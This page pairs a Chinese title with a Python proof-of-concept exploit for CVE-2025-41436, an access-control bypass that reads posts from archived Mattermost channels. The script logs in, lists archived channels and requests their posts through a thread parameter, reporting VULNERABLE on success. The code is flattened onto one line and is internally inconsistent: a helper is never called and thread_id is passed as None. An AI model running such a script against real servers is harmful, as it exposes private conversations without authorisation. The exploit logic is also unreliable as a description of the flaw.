CVE-2025-41436 Mattermost已归档频道访问控制绕过漏洞

# CVE-2025-41436 PoC - Mattermost Archived Channel Access Bypass # This PoC demonstrates the access control bypass in Mattermost < 11.0 import requests import json class MattermostArchivedChannelBypass: def __init__(self, base_url, username, password): self.base_url = base_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.token = None def authenticate(self): """Authenticate with Mattermost and obtain access token""" login_url = f"{self.base_url}/api/v4/users/login" credentials = { "login_id": self.username, "password": self.password } response = self.session.post(login_url, json=credentials) if response.status_code == 200: self.token = response.headers.get('Token') self.session.headers.update({'Authorization': f'Bearer {self.token}'}) return True return False def get_archived_channels(self): """Retrieve list of archived channels accessible to the user""" channels_url = f"{self.base_url}/api/v4/channels?includeArchived=true" response = self.session.get(channels_url) if response.status_code == 200: return response.json() return [] def get_thread_in_archived_channel(self, team_id): """Get threads that reference archived channels""" threads_url = f"{self.base_url}/api/v4/users/me/teams/{team_id}/threads" response = self.session.get(threads_url) if response.status_code == 200: return response.json() return [] def access_archived_channel_via_thread(self, channel_id, thread_id): """ Exploit: Access archived channel content via 'Open in Channel' functionality This bypasses the 'Allow users to view archived channels' setting """ # Step 1: Attempt direct access to archived channel (may be blocked) channel_url = f"{self.base_url}/api/v4/channels/{channel_id}" direct_response = self.session.get(channel_url) # Step 2: Access via thread link (bypasses permission check) exploit_url = f"{self.base_url}/api/v4/channels/{channel_id}/posts?thread_id={thread_id}" exploit_response = self.session.get(exploit_url) if exploit_response.status_code == 200: posts = exploit_response.json() if posts.get('posts') and len(posts['posts']) > 0: return { 'status': 'VULNERABLE', 'channel_id': channel_id, 'posts_accessed': len(posts['posts']), 'message': 'Successfully accessed archived channel content' } return { 'status': 'NOT_VULNERABLE', 'channel_id': channel_id } def verify_vulnerability(self): """Main verification function""" print("[*] Starting CVE-2025-41436 verification...") if not self.authenticate(): print("[-] Authentication failed") return print("[+] Authentication successful") # Get archived channels channels = self.get_archived_channels() archived_channels = [c for c in channels if c.get('delete_at', 0) > 0] print(f"[*] Found {len(archived_channels)} archived channels") results = [] for channel in archived_channels: channel_id = channel['id'] # Try to access via thread functionality result = self.access_archived_channel_via_thread(channel_id, None) results.append(result) return results if __name__ == "__main__": # Configuration TARGET = "https://mattermost.example.com" USERNAME = "[email protected]" PASSWORD = "password123" exploit = MattermostArchivedChannelBypass(TARGET, USERNAME, PASSWORD) results = exploit.verify_vulnerability() if any(r.get('status') == 'VULNERABLE' for r in results): print("[!] VULNERABLE: Archived channel access control bypass confirmed") else: print("[-] NOT VULNERABLE or patches applied")